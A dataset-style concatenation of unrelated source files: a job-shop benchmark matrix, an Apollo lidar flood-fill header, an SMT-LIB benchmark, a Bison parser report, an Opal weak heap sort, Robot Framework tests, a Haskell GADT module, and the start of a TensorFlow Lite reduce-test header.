0.00 1.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 -111.00
0.00 -1.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 55.00
0.00 1.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 -86.00
0.00 -1.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 43.00
0.00 1.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 -89.00
0.00 -1.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 -90.00
0.00 1.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 -79.00
0.00 -1.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 -36.00
0.00 1.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 -127.00
0.00 -1.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 43.00
0.00 1.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 -165.00
0.00 -1.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 54.00
0.00 1.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 -103.00
0.00 -1.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 68.00
0.00 1.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 -99.00
0.00 -1.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 15.00
0.00 1.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 -89.00
0.00 -1.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 -44.00
0.00 1.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 -125.00
0.00 -1.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 -33.00
0.00 1.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 -130.00
0.00 -1.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 -47.00
0.00 1.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 -75.00
0.00 -1.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 -8.00
0.00 1.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 -41.00
0.00 -1.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 -26.00
0.00 1.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 -5.00
0.00 -1.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 -87.00
0.00 0.00 1.00 -1.00 0.00 0.00 0.00 0.00 0.00 -2.00
0.00 0.00 -1.00 1.00 0.00 0.00 0.00 0.00 0.00 -15.00
0.00 0.00 1.00 -1.00 0.00 0.00 0.00 0.00 0.00 -19.00
0.00 0.00 -1.00 1.00 0.00 0.00 0.00 0.00 0.00 -15.00
0.00 0.00 1.00 -1.00 0.00 0.00 0.00 0.00 0.00 -66.00
0.00 0.00 -1.00 1.00 0.00 0.00 0.00 0.00 0.00 -64.00
0.00 0.00 1.00 -1.00 0.00 0.00 0.00 0.00 0.00 -65.00
0.00 0.00 -1.00 1.00 0.00 0.00 0.00 0.00 0.00 -83.00
0.00 0.00 1.00 -1.00 0.00 0.00 0.00 0.00 0.00 -23.00
0.00 0.00 -1.00 1.00 0.00 0.00 0.00 0.00 0.00 -49.00
0.00 0.00 1.00 -1.00 0.00 0.00 0.00 0.00 0.00 -47.00
0.00 0.00 -1.00 1.00 0.00 0.00 0.00 0.00 0.00 -45.00
0.00 0.00 1.00 0.00 -1.00 0.00 0.00 0.00 0.00 -2.00
0.00 0.00 -1.00 0.00 1.00 0.00 0.00 0.00 0.00 -98.00
0.00 0.00 1.00 0.00 -1.00 0.00 0.00 0.00 0.00 64.00
0.00 0.00 -1.00 0.00 1.00 0.00 0.00 0.00 0.00 -100.00
0.00 0.00 1.00 0.00 -1.00 0.00 0.00 0.00 0.00 19.00
0.00 0.00 -1.00 0.00 1.00 0.00 0.00 0.00 0.00 -115.00
0.00 0.00 1.00 0.00 -1.00 0.00 0.00 0.00 0.00 -14.00
0.00 0.00 -1.00 0.00 1.00 0.00 0.00 0.00 0.00 -109.00
0.00 0.00 1.00 0.00 -1.00 0.00 0.00 0.00 0.00 3.00
0.00 0.00 -1.00 0.00 1.00 0.00 0.00 0.00 0.00 -68.00
0.00 0.00 1.00 0.00 -1.00 0.00 0.00 0.00 0.00 -28.00
0.00 0.00 -1.00 0.00 1.00 0.00 0.00 0.00 0.00 -137.00
0.00 0.00 1.00 0.00 0.00 -1.00 0.00 0.00 0.00 -2.00
0.00 0.00 -1.00 0.00 0.00 1.00 0.00 0.00 0.00 -20.00
0.00 0.00 1.00 0.00 0.00 -1.00 0.00 0.00 0.00 -14.00
0.00 0.00 -1.00 0.00 0.00 1.00 0.00 0.00 0.00 -92.00
0.00 0.00 1.00 0.00 0.00 -1.00 0.00 0.00 0.00 11.00
0.00 0.00 -1.00 0.00 0.00 1.00 0.00 0.00 0.00 -101.00
0.00 0.00 1.00 0.00 0.00 -1.00 0.00 0.00 0.00 -28.00
0.00 0.00 -1.00 0.00 0.00 1.00 0.00 0.00 0.00 -107.00
0.00 0.00 1.00 0.00 0.00 -1.00 0.00 0.00 0.00 1.00
0.00 0.00 -1.00 0.00 0.00 1.00 0.00 0.00 0.00 -73.00
0.00 0.00 1.00 0.00 0.00 -1.00 0.00 0.00 0.00 -23.00
0.00 0.00 -1.00 0.00 0.00 1.00 0.00 0.00 0.00 -69.00
0.00 0.00 1.00 0.00 0.00 0.00 -1.00 0.00 0.00 -2.00
0.00 0.00 -1.00 0.00 0.00 0.00 1.00 0.00 0.00 -90.00
0.00 0.00 1.00 0.00 0.00 0.00 -1.00 0.00 0.00 56.00
0.00 0.00 -1.00 0.00 0.00 0.00 1.00 0.00 0.00 -123.00
0.00 0.00 1.00 0.00 0.00 0.00 -1.00 0.00 0.00 42.00
0.00 0.00 -1.00 0.00 0.00 0.00 1.00 0.00 0.00 -92.00
0.00 0.00 1.00 0.00 0.00 0.00 -1.00 0.00 0.00 -37.00
0.00 0.00 -1.00 0.00 0.00 0.00 1.00 0.00 0.00 -115.00
0.00 0.00 1.00 0.00 0.00 0.00 -1.00 0.00 0.00 9.00
0.00 0.00 -1.00 0.00 0.00 0.00 1.00 0.00 0.00 -60.00
0.00 0.00 1.00 0.00 0.00 0.00 -1.00 0.00 0.00 -36.00
0.00 0.00 -1.00 0.00 0.00 0.00 1.00 0.00 0.00 -97.00
0.00 0.00 1.00 0.00 0.00 0.00 0.00 -1.00 0.00 -2.00
0.00 0.00 -1.00 0.00 0.00 0.00 0.00 1.00 0.00 -44.00
0.00 0.00 1.00 0.00 0.00 0.00 0.00 -1.00 0.00 10.00
0.00 0.00 -1.00 0.00 0.00 0.00 0.00 1.00 0.00 -120.00
0.00 0.00 1.00 0.00 0.00 0.00 0.00 -1.00 0.00 39.00
0.00 0.00 -1.00 0.00 0.00 0.00 0.00 1.00 0.00 -182.00
0.00 0.00 1.00 0.00 0.00 0.00 0.00 -1.00 0.00 53.00
0.00 0.00 -1.00 0.00 0.00 0.00 0.00 1.00 0.00 -177.00
0.00 0.00 1.00 0.00 0.00 0.00 0.00 -1.00 0.00 71.00
0.00 0.00 -1.00 0.00 0.00 0.00 0.00 1.00 0.00 -154.00
0.00 0.00 1.00 0.00 0.00 0.00 0.00 -1.00 0.00 58.00
0.00 0.00 -1.00 0.00 0.00 0.00 0.00 1.00 0.00 -199.00
0.00 0.00 0.00 1.00 -1.00 0.00 0.00 0.00 0.00 -15.00
0.00 0.00 0.00 -1.00 1.00 0.00 0.00 0.00 0.00 -98.00
0.00 0.00 0.00 1.00 -1.00 0.00 0.00 0.00 0.00 81.00
0.00 0.00 0.00 -1.00 1.00 0.00 0.00 0.00 0.00 -87.00
0.00 0.00 0.00 1.00 -1.00 0.00 0.00 0.00 0.00 4.00
0.00 0.00 0.00 -1.00 1.00 0.00 0.00 0.00 0.00 -132.00
0.00 0.00 0.00 1.00 -1.00 0.00 0.00 0.00 0.00 -17.00
0.00 0.00 0.00 -1.00 1.00 0.00 0.00 0.00 0.00 -94.00
0.00 0.00 0.00 1.00 -1.00 0.00 0.00 0.00 0.00 -20.00
0.00 0.00 0.00 -1.00 1.00 0.00 0.00 0.00 0.00 -65.00
0.00 0.00 0.00 1.00 -1.00 0.00 0.00 0.00 0.00 -3.00
0.00 0.00 0.00 -1.00 1.00 0.00 0.00 0.00 0.00 -114.00
0.00 0.00 0.00 1.00 0.00 -1.00 0.00 0.00 0.00 -15.00
0.00 0.00 0.00 -1.00 0.00 1.00 0.00 0.00 0.00 -20.00
0.00 0.00 0.00 1.00 0.00 -1.00 0.00 0.00 0.00 3.00
0.00 0.00 0.00 -1.00 0.00 1.00 0.00 0.00 0.00 -79.00
0.00 0.00 0.00 1.00 0.00 -1.00 0.00 0.00 0.00 -4.00
0.00 0.00 0.00 -1.00 0.00 1.00 0.00 0.00 0.00 -118.00
0.00 0.00 0.00 1.00 0.00 -1.00 0.00 0.00 0.00 -31.00
0.00 0.00 0.00 -1.00 0.00 1.00 0.00 0.00 0.00 -92.00
0.00 0.00 0.00 1.00 0.00 -1.00 0.00 0.00 0.00 -22.00
0.00 0.00 0.00 -1.00 0.00 1.00 0.00 0.00 0.00 -70.00
0.00 0.00 0.00 1.00 0.00 -1.00 0.00 0.00 0.00 2.00
0.00 0.00 0.00 -1.00 0.00 1.00 0.00 0.00 0.00 -46.00
0.00 0.00 0.00 1.00 0.00 0.00 -1.00 0.00 0.00 -15.00
0.00 0.00 0.00 -1.00 0.00 0.00 1.00 0.00 0.00 -90.00
0.00 0.00 0.00 1.00 0.00 0.00 -1.00 0.00 0.00 73.00
0.00 0.00 0.00 -1.00 0.00 0.00 1.00 0.00 0.00 -110.00
0.00 0.00 0.00 1.00 0.00 0.00 -1.00 0.00 0.00 27.00
0.00 0.00 0.00 -1.00 0.00 0.00 1.00 0.00 0.00 -109.00
0.00 0.00 0.00 1.00 0.00 0.00 -1.00 0.00 0.00 -40.00
0.00 0.00 0.00 -1.00 0.00 0.00 1.00 0.00 0.00 -100.00
0.00 0.00 0.00 1.00 0.00 0.00 -1.00 0.00 0.00 -14.00
0.00 0.00 0.00 -1.00 0.00 0.00 1.00 0.00 0.00 -57.00
0.00 0.00 0.00 1.00 0.00 0.00 -1.00 0.00 0.00 -11.00
0.00 0.00 0.00 -1.00 0.00 0.00 1.00 0.00 0.00 -74.00
0.00 0.00 0.00 1.00 0.00 0.00 0.00 -1.00 0.00 -15.00
0.00 0.00 0.00 -1.00 0.00 0.00 0.00 1.00 0.00 -44.00
0.00 0.00 0.00 1.00 0.00 0.00 0.00 -1.00 0.00 27.00
0.00 0.00 0.00 -1.00 0.00 0.00 0.00 1.00 0.00 -107.00
0.00 0.00 0.00 1.00 0.00 0.00 0.00 -1.00 0.00 24.00
0.00 0.00 0.00 -1.00 0.00 0.00 0.00 1.00 0.00 -199.00
0.00 0.00 0.00 1.00 0.00 0.00 0.00 -1.00 0.00 50.00
0.00 0.00 0.00 -1.00 0.00 0.00 0.00 1.00 0.00 -162.00
0.00 0.00 0.00 1.00 0.00 0.00 0.00 -1.00 0.00 48.00
0.00 0.00 0.00 -1.00 0.00 0.00 0.00 1.00 0.00 -151.00
0.00 0.00 0.00 1.00 0.00 0.00 0.00 -1.00 0.00 83.00
0.00 0.00 0.00 -1.00 0.00 0.00 0.00 1.00 0.00 -176.00
0.00 0.00 0.00 0.00 1.00 -1.00 0.00 0.00 0.00 -98.00
0.00 0.00 0.00 0.00 -1.00 1.00 0.00 0.00 0.00 -20.00
0.00 0.00 0.00 0.00 1.00 -1.00 0.00 0.00 0.00 -82.00
0.00 0.00 0.00 0.00 -1.00 1.00 0.00 0.00 0.00 4.00
0.00 0.00 0.00 0.00 1.00 -1.00 0.00 0.00 0.00 -55.00
0.00 0.00 0.00 0.00 -1.00 1.00 0.00 0.00 0.00 -33.00
0.00 0.00 0.00 0.00 1.00 -1.00 0.00 0.00 0.00 -57.00
0.00 0.00 0.00 0.00 -1.00 1.00 0.00 0.00 0.00 -41.00
0.00 0.00 0.00 0.00 1.00 -1.00 0.00 0.00 0.00 -41.00
0.00 0.00 0.00 0.00 -1.00 1.00 0.00 0.00 0.00 -44.00
0.00 0.00 0.00 0.00 1.00 -1.00 0.00 0.00 0.00 -90.00
0.00 0.00 0.00 0.00 -1.00 1.00 0.00 0.00 0.00 -27.00
0.00 0.00 0.00 0.00 1.00 0.00 -1.00 0.00 0.00 -98.00
0.00 0.00 0.00 0.00 -1.00 0.00 1.00 0.00 0.00 -90.00
0.00 0.00 0.00 0.00 1.00 0.00 -1.00 0.00 0.00 -12.00
0.00 0.00 0.00 0.00 -1.00 0.00 1.00 0.00 0.00 -27.00
0.00 0.00 0.00 0.00 1.00 0.00 -1.00 0.00 0.00 -24.00
0.00 0.00 0.00 0.00 -1.00 0.00 1.00 0.00 0.00 -24.00
0.00 0.00 0.00 0.00 1.00 0.00 -1.00 0.00 0.00 -66.00
0.00 0.00 0.00 0.00 -1.00 0.00 1.00 0.00 0.00 -49.00
0.00 0.00 0.00 0.00 1.00 0.00 -1.00 0.00 0.00 -33.00
0.00 0.00 0.00 0.00 -1.00 0.00 1.00 0.00 0.00 -31.00
0.00 0.00 0.00 0.00 1.00 0.00 -1.00 0.00 0.00 -103.00
0.00 0.00 0.00 0.00 -1.00 0.00 1.00 0.00 0.00 -55.00
0.00 0.00 0.00 0.00 1.00 0.00 0.00 -1.00 0.00 -98.00
0.00 0.00 0.00 0.00 -1.00 0.00 0.00 1.00 0.00 -44.00
0.00 0.00 0.00 0.00 1.00 0.00 0.00 -1.00 0.00 -58.00
0.00 0.00 0.00 0.00 -1.00 0.00 0.00 1.00 0.00 -24.00
0.00 0.00 0.00 0.00 1.00 0.00 0.00 -1.00 0.00 -27.00
0.00 0.00 0.00 0.00 -1.00 0.00 0.00 1.00 0.00 -114.00
0.00 0.00 0.00 0.00 1.00 0.00 0.00 -1.00 0.00 24.00
0.00 0.00 0.00 0.00 -1.00 0.00 0.00 1.00 0.00 -111.00
0.00 0.00 0.00 0.00 1.00 0.00 0.00 -1.00 0.00 29.00
0.00 0.00 0.00 0.00 -1.00 0.00 0.00 1.00 0.00 -125.00
0.00 0.00 0.00 0.00 1.00 0.00 0.00 -1.00 0.00 -9.00
0.00 0.00 0.00 0.00 -1.00 0.00 0.00 1.00 0.00 -157.00
0.00 0.00 0.00 0.00 0.00 1.00 -1.00 0.00 0.00 -20.00
0.00 0.00 0.00 0.00 0.00 -1.00 1.00 0.00 0.00 -90.00
0.00 0.00 0.00 0.00 0.00 1.00 -1.00 0.00 0.00 -4.00
0.00 0.00 0.00 0.00 0.00 -1.00 1.00 0.00 0.00 -105.00
0.00 0.00 0.00 0.00 0.00 1.00 -1.00 0.00 0.00 -10.00
0.00 0.00 0.00 0.00 0.00 -1.00 1.00 0.00 0.00 -32.00
0.00 0.00 0.00 0.00 0.00 1.00 -1.00 0.00 0.00 -64.00
0.00 0.00 0.00 0.00 0.00 -1.00 1.00 0.00 0.00 -63.00
0.00 0.00 0.00 0.00 0.00 1.00 -1.00 0.00 0.00 -38.00
0.00 0.00 0.00 0.00 0.00 -1.00 1.00 0.00 0.00 -33.00
0.00 0.00 0.00 0.00 0.00 1.00 -1.00 0.00 0.00 -35.00
0.00 0.00 0.00 0.00 0.00 -1.00 1.00 0.00 0.00 -50.00
0.00 0.00 0.00 0.00 0.00 1.00 0.00 -1.00 0.00 -20.00
0.00 0.00 0.00 0.00 0.00 -1.00 0.00 1.00 0.00 -44.00
0.00 0.00 0.00 0.00 0.00 1.00 0.00 -1.00 0.00 -50.00
0.00 0.00 0.00 0.00 0.00 -1.00 0.00 1.00 0.00 -102.00
0.00 0.00 0.00 0.00 0.00 1.00 0.00 -1.00 0.00 -13.00
0.00 0.00 0.00 0.00 0.00 -1.00 0.00 1.00 0.00 -122.00
0.00 0.00 0.00 0.00 0.00 1.00 0.00 -1.00 0.00 26.00
0.00 0.00 0.00 0.00 0.00 -1.00 0.00 1.00 0.00 -125.00
0.00 0.00 0.00 0.00 0.00 1.00 0.00 -1.00 0.00 24.00
0.00 0.00 0.00 0.00 0.00 -1.00 0.00 1.00 0.00 -127.00
0.00 0.00 0.00 0.00 0.00 1.00 0.00 -1.00 0.00 59.00
0.00 0.00 0.00 0.00 0.00 -1.00 0.00 1.00 0.00 -152.00
0.00 0.00 0.00 0.00 0.00 0.00 1.00 -1.00 0.00 -90.00
0.00 0.00 0.00 0.00 0.00 0.00 -1.00 1.00 0.00 -44.00
0.00 0.00 0.00 0.00 0.00 0.00 1.00 -1.00 0.00 -81.00
0.00 0.00 0.00 0.00 0.00 0.00 -1.00 1.00 0.00 -32.00
0.00 0.00 0.00 0.00 0.00 0.00 1.00 -1.00 0.00 -4.00
0.00 0.00 0.00 0.00 0.00 0.00 -1.00 1.00 0.00 -91.00
0.00 0.00 0.00 0.00 0.00 0.00 1.00 -1.00 0.00 18.00
0.00 0.00 0.00 0.00 0.00 0.00 -1.00 1.00 0.00 -134.00
0.00 0.00 0.00 0.00 0.00 0.00 1.00 -1.00 0.00 37.00
0.00 0.00 0.00 0.00 0.00 0.00 -1.00 1.00 0.00 -119.00
0.00 0.00 0.00 0.00 0.00 0.00 1.00 -1.00 0.00 31.00
0.00 0.00 0.00 0.00 0.00 0.00 -1.00 1.00 0.00 -165.00
1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 -401.00
0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 -322.00
0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 -1.00 -259.00
0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 -1.00 -234.00
0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 -1.00 -326.00
0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 -1.00 -258.00
0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 -1.00 -286.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 -1.00 -388.00
| Matlab | 0 | yinrun/LOPDC-Benchmarks | jobshop/matlab/js-8-6-33.matlab | [
"MIT"
] |
/******************************************************************************
* Copyright 2019 The Apollo Authors. All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*****************************************************************************/
#pragma once
#include <algorithm>
#include <cstdlib>
#include <vector>
#include "modules/perception/base/point_cloud.h"
namespace apollo {
namespace perception {
namespace lidar {
class FloodFill {
public:
FloodFill() = default;
FloodFill(float grid_radius, float cell_size)
: _grid_radius(grid_radius), _cell_size(cell_size) {}
void GetSegments(base::PointFCloudConstPtr cloud,
std::vector<std::vector<int>>* segments_indices,
std::vector<int>* num_cells_per_segment);
// The grids at the boundary are valid.
int Pos(float x, float y) const;
bool Pos2d(float x, float y, int* irow, int* jcol) const;
void BuildGrid(base::PointFCloudConstPtr cloud);
void SetGridRadius(float grid_radius) { _grid_radius = grid_radius; }
void SetCellSize(float cell_size) { _cell_size = cell_size; }
int GetNumRows() const { return _grid_num_rows; }
int GetNumCols() const { return _grid_num_cols; }
int GetNumCells() const { return _grid_size; }
const std::vector<int>& GetPointIdxInGrid() const {
return _point_cloud_grid_idx;
}
private:
bool IsValidRowIndex(int i) const { return (i >= 0 && i < _grid_num_rows); }
bool IsValidColIndex(int j) const { return (j >= 0 && j < _grid_num_cols); }
int GetConnectedComponents();
void DfsColoring(int i, int j, int curr_component);
float _grid_radius = 0.0;
float _cell_size = 0.0;
float _offset_x = 0.0;
float _offset_y = 0.0;
int _grid_num_rows = 0;
int _grid_num_cols = 0;
int _grid_size = 0;
int _num_points = 0;
std::vector<int> _point_cloud_grid_idx;
std::vector<int> _label;
};
} // namespace lidar
} // namespace perception
} // namespace apollo
| C | 4 | seeclong/apollo | modules/perception/lidar/lib/segmentation/ncut/common/flood_fill.h | [
"Apache-2.0"
] |
; This is a Hy package
| Hy | 0 | peaceamongworlds/HyREPL | HyREPL/__init__.hy | [
"MIT"
] |
(set-info :smt-lib-version 2.6)
(set-logic QF_UFLRA)
(set-info :source |CPAchecker with k-induction on SV-COMP14 program using MathSAT5, submitted by Philipp Wendler, http://cpachecker.sosy-lab.org|)
(set-info :category "industrial")
(set-info :status unsat)
(declare-fun |main::tmp@1| () Real)
(declare-fun ldv_spin@1 () Real)
(declare-fun |arcnet_rfc1201_init::___cpa_temp_result_var_@1| () Real)
(define-fun _7 () Real 0)
(define-fun _9494 () Real |main::tmp@1|)
(define-fun _9495 () Real |arcnet_rfc1201_init::___cpa_temp_result_var_@1|)
(define-fun _9496 () Bool (= _9494 _9495))
(define-fun _9497 () Bool (= _9495 _7))
(define-fun _9498 () Real ldv_spin@1)
(define-fun _9499 () Bool (= _9498 _7))
(define-fun _9500 () Bool (and _9497 _9499))
(define-fun _9501 () Bool (and _9496 _9500))
(define-fun _2 () Bool false)
(assert _9501)
(assert _2)
(check-sat)
(exit)
| SMT | 3 | livinlife6751/infer | sledge/test/smt/QF_UFLRA/cpachecker-induction-svcomp14/cpachecker-induction.43_1a_cilled_true-unreach-call_ok_nondet_linux-43_1a-drivers--net--arcnet--rfc1201.ko-ldv_main0_sequence_infinite_withcheck_stateful.cil.out.c.smt2 | [
"MIT"
] |
Gramatika
0 $accept: E $end
1 E: T E2
2 E2: '+' T E2
3 | %empty
4 T: F T2
5 T2: '*' F T2
6 | %empty
7 F: '(' E ')'
8 | id
Terminály s pravidly, ve kterých se objevují
$end (0) 0
'(' (40) 7
')' (41) 7
'*' (42) 5
'+' (43) 2
error (256)
id (258) 8
Neterminály s pravidly, ve kterých se objevují
$accept (8)
vlevo: 0
E (9)
vlevo: 1, vpravo: 0 7
E2 (10)
vlevo: 2 3, vpravo: 1 2
T (11)
vlevo: 4, vpravo: 1 2
T2 (12)
vlevo: 5 6, vpravo: 4 5
F (13)
vlevo: 7 8, vpravo: 4 5
State 0
0 $accept: . E $end
1 E: . T E2
4 T: . F T2
7 F: . '(' E ')'
8 | . id
id posunout a přejít do stavu 1
'(' posunout a přejít do stavu 2
E přejít do stavu 3
T přejít do stavu 4
F přejít do stavu 5
State 1
8 F: id .
$výchozí reduce using rule 8 (F)
State 2
1 E: . T E2
4 T: . F T2
7 F: . '(' E ')'
7 | '(' . E ')'
8 | . id
id posunout a přejít do stavu 1
'(' posunout a přejít do stavu 2
E přejít do stavu 6
T přejít do stavu 4
F přejít do stavu 5
State 3
0 $accept: E . $end
$end posunout a přejít do stavu 7
State 4
1 E: T . E2
2 E2: . '+' T E2
3 | . %empty [$end, ')']
'+' posunout a přejít do stavu 8
$výchozí reduce using rule 3 (E2)
E2 přejít do stavu 9
State 5
4 T: F . T2
5 T2: . '*' F T2
6 | . %empty [$end, '+', ')']
'*' posunout a přejít do stavu 10
$výchozí reduce using rule 6 (T2)
T2 přejít do stavu 11
State 6
7 F: '(' E . ')'
')' posunout a přejít do stavu 12
State 7
0 $accept: E $end .
$výchozí přijmout
State 8
2 E2: '+' . T E2
4 T: . F T2
7 F: . '(' E ')'
8 | . id
id posunout a přejít do stavu 1
'(' posunout a přejít do stavu 2
T přejít do stavu 13
F přejít do stavu 5
State 9
1 E: T E2 .
$výchozí reduce using rule 1 (E)
State 10
5 T2: '*' . F T2
7 F: . '(' E ')'
8 | . id
id posunout a přejít do stavu 1
'(' posunout a přejít do stavu 2
F přejít do stavu 14
State 11
4 T: F T2 .
$výchozí reduce using rule 4 (T)
State 12
7 F: '(' E ')' .
$výchozí reduce using rule 7 (F)
State 13
2 E2: . '+' T E2
2 | '+' T . E2
3 | . %empty [$end, ')']
'+' posunout a přejít do stavu 8
$výchozí reduce using rule 3 (E2)
E2 přejít do stavu 15
State 14
5 T2: . '*' F T2
5 | '*' F . T2
6 | . %empty [$end, '+', ')']
'*' posunout a přejít do stavu 10
$výchozí reduce using rule 6 (T2)
T2 přejít do stavu 16
State 15
2 E2: '+' T E2 .
$výchozí reduce using rule 2 (E2)
State 16
5 T2: '*' F T2 .
$výchozí reduce using rule 5 (T2)
| Bison | 4 | YKG/y | testdata/dev/ff.y.bison | [
"BSD-3-Clause"
] |
new class WeakHeapSort {
new method __init__(array, length) {
this.array = array;
this.length = length;
this.bits = sortingVisualizer.createValueArray((this.length + 7) // 8);
}
new method getBitwiseFlag(x) {
return (this.bits[x >> 3] >> (x & 7)) & 1;
}
new method toggleBitwiseFlag(x) {
new dynamic flag = this.bits[x >> 3].copy();
flag ^= 1 << (x & 7);
this.bits[x >> 3].write(flag);
}
new method merge(i, j) {
if this.array[i] < this.array[j] {
this.toggleBitwiseFlag(j);
this.array[i].swap(this.array[j]);
}
}
new method sort() {
sortingVisualizer.setAux(this.bits);
new int n = this.length, i, j, x, y, Gparent;
for i = n - 1; i > 0; i-- {
j = i;
for ; (j & 1) == this.getBitwiseFlag(j >> 1); j >>= 1 {}
Gparent = j >> 1;
this.merge(Gparent, i);
}
for i = n - 1; i >= 2; i-- {
this.array[0].swap(this.array[i]);
x = 1;
for y = 2 * x + this.getBitwiseFlag(x); y < i; x = y {
y = 2 * x + this.getBitwiseFlag(x);
if y >= i {
break;
}
}
for ; x > 0; x >>= 1 {
this.merge(0, x);
}
}
this.array[0].swap(this.array[1]);
}
}
@Sort(
"Selection Sorts",
"Weak Heap Sort",
"Weak Heap Sort"
);
new function weakHeapSortRun(array) {
WeakHeapSort(array, len(array)).sort();
} | Opal | 4 | thatsOven/sorting-visualizer | sorts/WeakHeapSort.opal | [
"MIT"
] |
*** Settings ***
Test Template TestDoc Run Should Fail
Resource testdoc_resource.robot
*** Test Cases ***
Invalid usage
Expected at least 2 arguments, got 1.
Non-existing input
Parsing 'nonex.robot' failed: File or directory to execute does not exist.
... nonex.robot
Invalid input
Suite 'Testdoc Resource' contains no tests or tasks.
... ${CURDIR}/testdoc_resource.robot
Invalid output
[Setup] Create Directory ${OUTFILE}
Opening Testdoc output file '*[/\\]testdoc-output.html' failed: *Error: *
... ${INPUT 1} remove_outfile=False
[Teardown] Remove Directory ${OUTFILE}
| RobotFramework | 3 | bhirsz/robotframework | atest/robot/testdoc/invalid_usage.robot | [
"ECL-2.0",
"Apache-2.0"
] |
{-# LANGUAGE PolyKinds #-}
{-# OPTIONS_GHC -fno-warn-orphans #-}
module Data.GADT.Compare.Extended
( module Data.GADT.Compare,
strengthenOrdering,
extendGOrdering,
)
where
import Data.GADT.Compare
import Type.Reflection
import Prelude
instance GEq ((:~~:) a) where
geq HRefl HRefl = Just Refl
instance GCompare ((:~~:) a) where
gcompare HRefl HRefl = GEQ
strengthenOrdering :: Ordering -> GOrdering a a
strengthenOrdering LT = GLT
strengthenOrdering EQ = GEQ
strengthenOrdering GT = GGT
infixr 6 `extendGOrdering`
extendGOrdering :: GOrdering a b -> (a ~ b => GOrdering c d) -> GOrdering c d
extendGOrdering GLT _ = GLT
extendGOrdering GEQ x = x
extendGOrdering GGT _ = GGT
| Haskell | 4 | devrsi0n/graphql-engine | server/src-lib/Data/GADT/Compare/Extended.hs | [
"Apache-2.0",
"MIT"
] |
/* Copyright 2020 The TensorFlow Authors. All Rights Reserved.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
==============================================================================*/
#ifndef TENSORFLOW_LITE_DELEGATES_XNNPACK_REDUCE_TESTER_H_
#define TENSORFLOW_LITE_DELEGATES_XNNPACK_REDUCE_TESTER_H_
#include <cstdint>
#include <unordered_set>
#include <vector>
#include <gtest/gtest.h>
#include "tensorflow/lite/c/common.h"
#include "tensorflow/lite/schema/schema_generated.h"
namespace tflite {
namespace xnnpack {
class ReduceTester {
public:
ReduceTester() = default;
ReduceTester(const ReduceTester&) = delete;
ReduceTester& operator=(const ReduceTester&) = delete;
inline ReduceTester& InputShape(std::initializer_list<int32_t> shape) {
for (auto it = shape.begin(); it != shape.end(); ++it) {
EXPECT_GT(*it, 0);
}
input_shape_ = std::vector<int32_t>(shape.begin(), shape.end());
input_size_ = ReduceTester::ComputeSize(input_shape_);
return *this;
}
inline const std::vector<int32_t>& InputShape() const { return input_shape_; }
inline int32_t InputSize() const { return input_size_; }
inline ReduceTester& Axes(std::initializer_list<int32_t> axes) {
for (auto it = axes.begin(); it != axes.end(); ++it) {
EXPECT_GE(*it, 0);
}
axes_ = std::vector<int32_t>(axes.begin(), axes.end());
return *this;
}
inline const std::vector<int32_t>& Axes() const { return axes_; }
inline ReduceTester& KeepDims(bool keep_dims) {
keep_dims_ = keep_dims;
return *this;
}
inline bool KeepDims() const { return keep_dims_; }
inline std::vector<int32_t> OutputShape() const {
std::vector<int32_t> output_shape;
output_shape.reserve(InputShape().size());
std::unordered_set<int32_t> axes_set(Axes().cbegin(), Axes().cend());
for (int32_t i = 0; i < InputShape().size(); i++) {
if (axes_set.count(i) != 0) {
if (KeepDims()) {
output_shape.push_back(1);
}
} else {
output_shape.push_back(InputShape()[i]);
}
}
return output_shape;
}
inline int32_t OutputSize() const {
int32_t output_size = 1;
std::unordered_set<int32_t> axes_set(Axes().cbegin(), Axes().cend());
for (int32_t i = 0; i < InputShape().size(); i++) {
if (axes_set.count(i) == 0) {
output_size *= InputShape()[i];
}
}
return output_size;
}
inline ReduceTester& RelativeTolerance(float relative_tolerance) {
relative_tolerance_ = relative_tolerance;
return *this;
}
